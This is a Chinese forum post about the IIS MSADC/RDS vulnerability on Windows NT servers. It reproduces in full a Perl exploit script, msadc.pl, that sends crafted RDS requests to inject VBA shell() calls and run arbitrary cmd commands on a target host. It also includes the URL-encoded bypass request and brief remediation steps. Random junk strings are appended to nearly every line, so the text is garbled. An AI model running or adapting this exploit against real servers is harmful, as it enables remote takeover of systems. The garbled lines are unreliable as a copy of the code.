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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) k[R/RhHQ,  
?d%+85  
涉及程序: W%hdS<b  
Microsoft NT server G1  %c<1Y  
>Y?B(I2e  
描述: 2GLq#")P  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 5F+5J)h  
2w)0>Y(_  
详细:  7=0uG  
如果你没有时间读详细内容的话,就删除: T9jp*  
c:\Program Files\Common Files\System\Msadc\msadcs.dll MI0'ou8l  
有关的安全问题就没有了。 :T" !6;  
17tph;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 {H#1wu^]O$  
D Km`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 {6^c3R[  
关于利用ODBC远程漏洞的描述,请参看: X ~%I(?OX  
73P=<3  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ePa:_?(  
h']R P  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 m <IPi <  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp YYr &Jc j  
E0$UoP   
这里不再论述。 .FK[Y?ci#  
TDBWYppM  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: gF^l`1f"  
8jd<|nYnfc  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8 Mp2MZ*p  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 10_eUQN  
m~1{~'  
&{9'ylv-B)  
#将下面这段保存为txt文件,然后: "perl -x 文件名" {/uBZ(   
vP^]Y.6  
#!perl ~fI&F|  
# m8n!<_NFt(  
# MSADC/RDS 'usage' (aka exploit) script L!V`Sb  
# [&|Le;h  
# by rain.forest.puppy >"jV8%!sM  
# (9*s:)zD-  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ;@Ep?S @  
# beta test and find errors! _s><>LH~  
*=ftg&  
use Socket; use Getopt::Std; )MZ]c)JD^  
getopts("e:vd:h:XR", \%args); 2`+?s  
.{k(4_Q?I  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; bW;0E%_  
pP68jL  
if (!defined $args{h} && !defined $args{R}) { #i-!:6sLA  
print qq~ E$.|h;i]Q  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Fe.Y4\xz  
-h <host> = host you want to scan (ip or domain) 3:<+9X  
-d <seconds> = delay between calls, default 1 second VD/Wl2DK  
-X = dump Index Server path table, if available +cvz  
-v = verbose hghtF  
-e = external dictionary file for step 5 *U.$=4Az  
7IBm(#  
Or a -R will resume a command session =vT3SY  
, M/-lW  
~; exit;} aw/Y#  
%=/Y~ml?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 6R%c+ok8i  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} fpM 4q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} -kZz,pNQ,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); tirw{[X0n  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} XtT;UBE  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -Hh$3U v  
mvVVPf9  
if (!defined $args{R}){ $ret = &has_msadc; %83PbH  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} yZHQql%J O  
6NbIT[LvT  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" H`-%)c=  
. "cmd /c "; E?y0UD[8J  
$in=<STDIN>; chomp $in; j_&/^-;e  
$command="cmd /c " . $in ; \9Itu(<f  
AS|gi!OVA  
if (defined $args{R}) {&load; exit;} L}nj#z4g  
?@|1>epgd  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ll1?I8}5|  
&try_btcustmr; 3Aaj+=]W  
YM3oqS D  
print "\nStep 2: Trying to make our own DSN..."; V?Lf& X?  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; jt"p Js'  
u~LisZ&tP  
print "\nStep 3: Trying known DSNs..."; Br]VCp   
&known_dsn;  8czo#&  
m4 E 6L  
print "\nStep 4: Trying known .mdbs..."; H4k`wWOk  
&known_mdb; 8PXleAn  
}w8h^(+B  
if (defined $args{e}){ H\8i9RI  
print "\nStep 5: Trying dictionary of DSN names..."; IAnY+= ^  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } akm)X0!-}  
&lBfW$PZjk  
print "Sorry Charley...maybe next time?\n"; "uGJ\  
exit; BRoi`.b:  
*X%`MN  
############################################################################## 5y=X?hF~)  
3(^9K2.s}  
sub sendraw { # ripped and modded from whisker XZd !c Ff  
sleep($delay); # it's a DoS on the server! At least on mine... #%k5s?cP@  
my ($pstr)=@_; l:+tl/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || DbPw) aCj  
die("Socket problems\n"); (`3 Bi]7  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8C,?Ai<ro  
select(S); $|=1; wjS3ItB  
print $pstr; my @in=<S>; k]R O=/ ?M  
select(STDOUT); close(S); !!2~lG<]  
return @in; ]P(Eo|)m  
} else { die("Can't connect...\n"); }} htM5Nm[g  
9!2KpuWji  
############################################################################## HP]Xh~aP  
(y~da~  
sub make_header { # make the HTTP request =C`v+NPM)|  
my $msadc=<<EOT ,e.y4 vnU  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 JFYeOmR+l  
User-Agent: ACTIVEDATA WpTC,~-  
Host: $ip s4~c>voQB  
Content-Length: $clen _ esFx  
Connection: Keep-Alive 0>Mm |x*5  
Aba6/  
ADCClientVersion:01.06 @q^WD_k  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 kZz;l(?0  
H[-zQ#I9  
--!ADM!ROX!YOUR!WORLD! NNe'5q9  
Content-Type: application/x-varg -|f9~(t  
Content-Length: $reqlen /&kZ)XOi  
!29 Rl`9  
EOT (B$2)yZY  
; $msadc=~s/\n/\r\n/g; [c>X Q  
return $msadc;}  sGdt)  
yD(/y"P,9  
############################################################################## 5n(p 1OM2q  
:dLS+cTC  
sub make_req { # make the RDS request xg3G  
my ($switch, $p1, $p2)=@_; \BJnJk!%  
my $req=""; my $t1, $t2, $query, $dsn; nHZ 4):`  
u;=("S{"0  
if ($switch==1){ # this is the btcustmr.mdb query _ e`b^_  
$query="Select * from Customers where City=" . make_shell(); uidE/7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . r43dnwX  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} QF%@MK0zC  
hfEGkaV._3  
elsif ($switch==2){ # this is general make table query W >B:W0A  
$query="create table AZZ (B int, C varchar(10))"; 4=q\CK2^A  
$dsn="$p1";} {?5EOp~  
apw8wL2  
elsif ($switch==3){ # this is general exploit table query oO= 6Kd+T  
$query="select * from AZZ where C=" . make_shell(); =3 -G  
$dsn="$p1";} OsC1('4@  
_k ~bH\(  
elsif ($switch==4){ # attempt to hork file info from index server *RuUf  
$query="select path from scope()"; }]g>PY  
$dsn="Provider=MSIDXS;";} Cs*u{O  
.5ingB3%  
elsif ($switch==5){ # bad query :+[q `  
$query="select"; rRsLl/d  
$dsn="$p1";} @x{;a9y  
XqJ@NgsY  
$t1= make_unicode($query); O"Xjv`j:  
$t2= make_unicode($dsn); Cu/w><h)  
$req = "\x02\x00\x03\x00"; j\Q_NevV  
$req.= "\x08\x00" . pack ("S1", length($t1)); `D?vmSQ  
$req.= "\x00\x00" . $t1 ; C:P,q6  
$req.= "\x08\x00" . pack ("S1", length($t2)); RYvS,hf 6z  
$req.= "\x00\x00" . $t2 ; L\n_q6n  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {},G xrQm  
return $req;} q l8CgL  
g{a_{P  
############################################################################## iCw~4KG  
E@[`y:P  
sub make_shell { # this makes the shell() statement Pb[wysy  
return "'|shell(\"$command\")|'";} L TO1LAac  
X0 %k`3  
############################################################################## ~BZA_w"`1  
]2Lwd@  
sub make_unicode { # quick little function to convert to unicode !@*Ac$J>$  
my ($in)=@_; my $out; T.&^1qWWA  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } rGq~e|.O3  
return $out;} &WsDYov?  
TQnMPELh"  
############################################################################## v?Y9z!M  
'MsxZqW"~  
sub rdo_success { # checks for RDO return success (this is kludge) BBy/b c!  
my (@in) = @_; my $base=content_start(@in); lf Wxdi  
if($in[$base]=~/multipart\/mixed/){ nDaQ1  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} odj|" ZK  
return 0;} >Wy@J]Y#  
qY0GeE>N  
############################################################################## 6'?Y]K  
]M= 3Sn8}  
sub make_dsn { # this makes a DSN for us Y+WOU._46I  
my @drives=("c","d","e","f"); rEZa%)XJ  
print "\nMaking DSN: "; Ym0Xl(Se  
foreach $drive (@drives) { f3*u_LO  
print "$drive: "; mqtl0P0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3QGg;  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1 3  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); PsLuyGR.<  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; XlB`Z81j  
return 0 if $2 eq "404"; # not found/doesn't exist UyIjM;X  
if($2 eq "200") { Xt9?7J#\T  
foreach $line (@results) { r#^X]  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} | \Qr cf  
} return 0;} /t ,ujTK  
9<-AukK m  
############################################################################## SAXjB;VH6  
3Jk;+<  
sub verify_exists { 8[}MXMRdb  
my ($page)=@_; ,?i#NN5p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0nA17^W  
return $results[0];} UAH} ])U  
1>l {c  
############################################################################## -zMXc"'C^k  
t</Kel|D  
sub try_btcustmr { &87D.Yy^  
my @drives=("c","d","e","f"); 9k2HP]8=[{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); E jBEZL|_  
a<c %Xy/  
foreach $dir (@dirs) { r"J1C  
print "$dir -> "; # fun status so you can see progress 8pt;''  
foreach $drive (@drives) { PX(Gx%s|  
print "$drive: "; # ditto 0(-'L\<>x  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; H9nZ%n  
$reqlenlen=length( "$reqlen" ); $eRxCX?b2  
$clen= 206 + $reqlenlen + $reqlen; bIe>j*VPh@  
;c<:"ad(  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); `%F.]|Y0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (a]'}c$X9`  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} <E6]8SQE  
-twIF49  
############################################################################## fd*=`+P  
;STO!^9~  
sub odbc_error { _W tSZmW?  
my (@in)=@_; my $base; rb&^ei9B  
my $base = content_start(@in); \L6U}ZQ2V  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this #`v`e"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !tHqF  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B>#zrCD  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #y}@FG  
return $in[$base+4].$in[$base+5].$in[$base+6];} O)&xT2'J  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; HC}D<FX |  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . a5z.c_7r  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m7^a4  
;Z C18@  
############################################################################## IS]03_uQ  
n4(w?,w }  
sub verbose { lb`P9mbr+  
my ($in)=@_; RYS]b[-xZz  
return if !$verbose; htlsU*x  
print STDOUT "\n$in\n";} fC]+C(*d  
]n\WCU ]0  
############################################################################## :a#]"z0  
1:q55!b  
sub save { ^yH|k@y  
my ($p1, $p2, $p3, $p4)=@_; tNmH*"wR<  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; SX/yY  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; q;tsA"l  
close OUT;} ldanM>5  
1\kOjF)l  
############################################################################## fcD$km  
qV9`  
sub load { f(?>z!n0  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?VS {,"X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); :]=Y1*L\)  
@p=<IN>; close(IN); sB-c'`,w`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); |C7GI[P  
$target= inet_aton($ip) || die("inet_aton problems"); #e+%;5\  
print "Resuming to $ip ..."; /$&~0pk  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;  .;iXe  
if($p[1]==1) { Ai(M06P:h  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; mL18FR N  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 91mXvQ:u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Qaq{UW  
if (rdo_success(@results)){print "Success!\n";} }_@cqx:n^  
else { print "failed\n"; verbose(odbc_error(@results));}} [UR+G8X21m  
elsif ($p[1]==3){ e%(zjCA  
if(run_query("$p[3]")){ 1K0 9iB  
print "Success!\n";} else { print "failed\n"; }} gC<\1AIu  
elsif ($p[1]==4){ qSkt }F%'  
if(run_query($drvst . "$p[3]")){ g^}X3NUn  
print "Success!\n"; } else { print "failed\n"; }} q|=tt(}G  
exit;} `: i|y  
+CX2W('  
############################################################################## P,CJy|[L  
u?Iop/b  
sub create_table { k[A=:H1"  
my ($in)=@_; "EWU:9\0  
$reqlen=length( make_req(2,$in,"") ) - 28; TLPy/,  
$reqlenlen=length( "$reqlen" ); Vu^J'>X  
$clen= 206 + $reqlenlen + $reqlen; ehO F@IA_  
my @results=sendraw(make_header() . make_req(2,$in,"")); f.V0uBDN  
return 1 if rdo_success(@results); #wx0xQ~,J  
my $temp= odbc_error(@results); verbose($temp); (.<Gde#  
return 1 if $temp=~/Table 'AZZ' already exists/; e`<=& w  
return 0;} kxTh tjgv  
7bQ#M )}  
############################################################################## [~f%z(vI  
b0m1O.&I_  
sub known_dsn { ',*I=JW;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go h"#^0$f  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", HEht^ /pJ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,UH`l./3DX  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); eZI&d;i  
VskyRxfdW3  
foreach $dSn (@dsns) { e9k}n\t3  
print "."; {LR?#.   
next if (!is_access("DSN=$dSn")); |+x;18  
if(create_table("DSN=$dSn")){ Ju)2J?Xs5  
print "$dSn successful\n"; |Wi$@sWO  
if(run_query("DSN=$dSn")){  6.KR(V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _S2QY7/  
print "Something's borked. Use verbose next time\n";}}} print "\n";} + 5sT GNG  
fVb&=%e  
############################################################################## Yt0 l'B%[u  
<3Co/.VQd  
sub is_access { r}D`15IHJ  
my ($in)=@_; <`H:Am`  
$reqlen=length( make_req(5,$in,"") ) - 28; q,0o:nI  
$reqlenlen=length( "$reqlen" ); AM'-(x|  
$clen= 206 + $reqlenlen + $reqlen; DE."XSni  
my @results=sendraw(make_header() . make_req(5,$in,"")); M6pGf_qt  
my $temp= odbc_error(@results); Q4CxtY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); NrNbNFfo  
return 0;} 5c3 )p^ ]g  
1 /7H` O?  
############################################################################## i,<TaW*I  
J --9VlC'  
sub run_query { $N+a4  
my ($in)=@_; ,K3)f.ArYc  
$reqlen=length( make_req(3,$in,"") ) - 28; ZfL\3Mn  
$reqlenlen=length( "$reqlen" ); 3~a!h3.f  
$clen= 206 + $reqlenlen + $reqlen; |DwI%%0(F  
my @results=sendraw(make_header() . make_req(3,$in,"")); :T5l0h-eC  
return 1 if rdo_success(@results); P]j{JL/g&  
my $temp= odbc_error(@results); verbose($temp); 5~aSkg,MD  
return 0;} D!TS/J1S;u  
6$ 9n_AS  
############################################################################## z"=#<C  
MftX~+  
sub known_mdb { T AwA)Zg  
my @drives=("c","d","e","f","g"); B~jl1g|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m`I6gnLj  
my $dir, $drive, $mdb; |XLx6E2F  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; -81usu&NH  
Z[ZqQ` 7N  
# this is sparse, because I don't know of many NVcL9"ht*@  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Do=*bZ;A  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", m9wV#Ldu  
"\\system32\\certmdb.mdb", =HQH;c"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ?VCb@&*  
RUlM""@b  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =5[}&W  
"\\cfusion\\cfapps\\forums\\forums_.mdb", &owBmpz  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  [^8*9?i4  
"\\cfusion\\cfapps\\security\\realm_.mdb", =S|SQz5%w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8ooj)  
"\\cfusion\\database\\cfexamples.mdb", ~+q$TV  
"\\cfusion\\database\\cfsnippets.mdb", iVFHr<zk  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6wqq"6w  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", bJx{mq  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 6}K|eUak/  
"\\cfusion\\database\\smpolicy.mdb", e7{3:y|]d3  
"\\cfusion\\database\cypress.mdb", PzbLbH8A  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^"WrE(3  
"\\website\\cgi-win\\dbsample.mdb", r)UtS4 7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Sz|;wsF{  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \_;z m+ <{  
); #these are just Hg(%g T  
foreach $drive (@drives) { +L D\~dcV+  
foreach $dir (@dirs){ 't'~p#$,F  
foreach $mdb (@sysmdbs) { lArYlR }  
print "."; XC"]/ y  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ltRvNXx+]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 5]D"y Ay81  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ wN'Q\l+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; wPdp!h7B~N  
} else { print "Something's borked. Use verbose next time\n"; }}}}} :!H]gC 4  
w-9M{Es+j  
foreach $drive (@drives) { w9h`8pt  
foreach $mdb (@mdbs) { &o@IMbJ8  
print ".";  ,U':=8  
if(create_table($drv . $drive . $dir . $mdb)){ R3=PV{`M  
print "\n" . $drive . $dir . $mdb . " successful\n"; AG/?LPJ  
if(run_query($drv . $drive . $dir . $mdb)){ K'z|a{ru.{  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g*t(%;_m  
} else { print "Something's borked. Use verbose next time\n"; }}}} B=?4; l7  
} aF2vw{wT}  
x aiA2  
############################################################################## Hq=5/N  
e lj]e  
sub hork_idx { Qxb5Y)/jn  
print "\nAttempting to dump Index Server tables...\n"; mT  enzIp  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Fv_rDTo  
$reqlen=length( make_req(4,"","") ) - 28; x xMV2&,Jq  
$reqlenlen=length( "$reqlen" ); 7&-i :2  
$clen= 206 + $reqlenlen + $reqlen; _4H 9rPhf  
my @results=sendraw2(make_header() . make_req(4,"","")); Y v22,|:  
if (rdo_success(@results)){ DLMM1 A  
my $max=@results; my $c; my %d; cF6eMml;  
for($c=19; $c<$max; $c++){ 6XU1w  
$results[$c]=~s/\x00//g; Qry?h*p+`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; aLzRbRv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s az<NT  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; <i}lP/U  
$d{"$1$2"}="";} Z :51Q  
foreach $c (keys %d){ print "$c\n"; } s'/b&Idf8  
} else {print "Index server doesn't seem to be installed.\n"; }} zg)-RCG  
g?Jx99c;  
############################################################################## L#)F00/`  
ca~nfo  
sub dsn_dict { ME'hN->c  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); GI:J9TS  
while(<IN>){ 9k5$rK`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; %p?+r  
next if (!is_access("DSN=$dSn")); ]r 6S|;:  
if(create_table("DSN=$dSn")){ e6O+hC]:  
print "$dSn successful\n"; Ih_2")d  
if(run_query("DSN=$dSn")){ NFDh!HUm  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9/[1a_ r  
print "Something's borked. Use verbose next time\n";}}} BT[jD}?  
print "\n"; close(IN);} CVo2?ZQ  
3 *0/<1f1!  
############################################################################## >\J({/ #O  
mBb;:-5  
sub sendraw2 { # ripped and modded from whisker UvR F\x%  
sleep($delay); # it's a DoS on the server! At least on mine... a g=,oYn  
my ($pstr)=@_; ;S,k U{F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || bU3e*Er  
die("Socket problems\n"); AC`4n|,zJ;  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4.>rd6BAN-  
print "Connected. Getting data"; 99xs5!4s  
open(OUT,">raw.out"); my @in; R<"fcsU  
select(S); $|=1; print $pstr; *RPdU.  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ?\_\pa/+  
close(OUT); select(STDOUT); close(S); return @in; dS+/G9X^  
} else { die("Can't connect...\n"); }} ):LgZ4h  
! };OL Q  
############################################################################## fMGL1VN  
-o\o{?t,  
sub content_start { # this will take in the server headers 8xAxn+;  
my (@in)=@_; my $c; *<.{sx^Gk  
for ($c=1;$c<500;$c++) { U/9i'D[|{  
if($in[$c] =~/^\x0d\x0a/){ q\0CS>.  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ao+lLCr  
else { return $c+1; }}} k/U1 :9  
return -1;} # it should never get here actually % s|` 1`c  
'>8IOC  
############################################################################## C2l=7+X#W  
CxvL!ew  
sub funky { 1R}rL#h;=  
my (@in)=@_; my $error=odbc_error(@in); A }(V2  
if($error=~/ADO could not find the specified provider/){ 7yUtG^'b  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 4Lg!54P8  
exit;} df85g  
if($error=~/A Handler is required/){ pfs'2AFj  
print "\nServer has custom handler filters (they most likely are patched)\n"; CrvL[6i  
exit;} C'Gj\  
if($error=~/specified Handler has denied Access/){ E:_m6 m  
print "\nServer has custom handler filters (they most likely are patched)\n"; {c(@u6l28  
exit;}} 6\9 Zc-%  
:NHP,"  
############################################################################## IdHyd Y1  
C[4{\3\Va  
sub has_msadc { u!]g^r  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); JY5)^<.d  
my $base=content_start(@results); t\GoUeH]  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); j3W)  
return 0;} \/wbk`2  
26e.Hu  
######################## zp4aiMn1F  
ls;!Og9  
`rWT^E@p5m  
解决方案: 88]4 GVi  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll b{~64/YJ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *WQl#JAr  
*0!IHr"fn  
拿出来充数 哈哈
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